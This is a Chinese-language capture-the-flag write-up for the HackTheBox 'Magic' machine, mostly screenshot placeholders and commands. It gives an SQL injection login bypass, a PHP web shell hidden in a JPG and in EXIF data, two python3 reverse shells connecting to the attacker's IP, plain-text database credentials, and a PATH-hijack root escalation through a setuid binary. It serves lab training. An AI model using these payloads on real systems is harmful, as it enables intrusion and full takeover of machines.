Avatar {{帝力于我何有哉}} 不疯魔,不成活。 Be obsessed, or be average.


HackTheBox >_ Magic_185

Magic_185

image-20200917091235729

image-20200626221132822

image-20200626222049622

image-20200626225741218

是一个可以通过登录上传图片并展示的网站,查看源码,发现了可能的文件上传目录

image-20200626231019218

看一下登录页面

image-20200626223132169

抓包,用数据库登录绕过语句字典打一下

image-20200626223249132

image-20200626223504542

image-20200626223633076

可成功绕过的语句有很多。随便使用一个登录

admin' or '1'='1'#

image-20200626224244796

尝试上传,看提示只允许jpg,jpeg,png。

image-20200626224648776

使用最常用的方法制作jpg cmd shell,随便cp到工作目录一个jpg图片文件,为图片追加php

echo '<?php system($_GET['cmd']); ?>' >> img_cmd_shell.php.jpg

image-20200626233429047

也可以使用exiftool增加exif信息,但是这样的处理方法命令回显在乱码中,不容易找到。而追加方法则会让回显在页面最后,清晰可见

exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' jpg_cmd_shell.php.jpg

image-20200626225120009

上传

image-20200626225222859

image-20200626225344184

10.10.10.185/images/uploads/jpg_cmd_shell.php.jpg?cmd=id

image-20200626232903423

这是exiftool的方法制作的,回显在乱码中间,再看看通过普通追加的

10.10.10.185/images/uploads/img_cmd_shell.php.jpg?cmd=id

image-20200626233722054

回显在页面最下发

查看是否具有python

image-20200626233950257

python没有,只有python3 ,一样的,在本地1337端口建立监听,浏览器命令

10.10.10.185/images/uploads/img_cmd_shell.php.jpg?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.189",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

图片似乎很快被清理掉了,如果出现404,则重新上传图片即可

image-20200626234359406

一些枚举之后发现数据库凭证

image-20200627001902951

theseus:iamkingtheseus

尝试密码复用,但是并没有成功

image-20200627002100762

本地登录mysql

mysql localhost -u theseus -p

image-20200627003220946

没有mysql?

image-20200627003027379

image-20200627002719515

查看/usr/bin发现mysqldump

image-20200627003417451

参考到之前在db.php中发现的数据库名为Magic,使用mysqldump将整个数据库dump下来

mysqldump --databases Magic -u theseus -p

image-20200627003845035

在输出中发现新的凭据

image-20200627003925974

因为home下只有一个用户theseus,所以猜测这个密码仍然属于theseus,尝试密码复用

Th3s3usW4sK1ng

image-20200627004041712

成功切换

image-20200627004236390

在利用linpeas脚本进行了一些枚举后发现

image-20200627005232336

拥有s权限

但是sysinfo初步看来并没有什么有用信息

image-20200627005951311

尝试运行,信息有4部分组成

hardware info

image-20200627005653133

disk info

image-20200627010350946

cpu info

image-20200627010419660

men usage

image-20200627010449328

看输出内容应该是调用了系统命令

最常用的就是free和fdisk了。对比一下,果然。

image-20200627010622548

而fdisk是需要root权限的

image-20200627010726832

所以sysinfo所需的s权限应该就是在执行fdisk -l时的root权限。

image-20200627011008394

我们可以通过伪造环境变量,让sysinfo错误的以为我们在当前文件夹伪造的fdisk文件,是/sbin/fdisk命令

首先在/tmp文件夹下伪造fdisk,内容为python rshell命令。

vi fdisk
写入以下内容
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.189",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20200627012913333

增加可执行权限

chmod +x fdisk

修改环境变量,并执行sysinfo

export PATH=/tmp:$PATH
/bin/sysinfo

image-20200627013148644

image-20200627013212589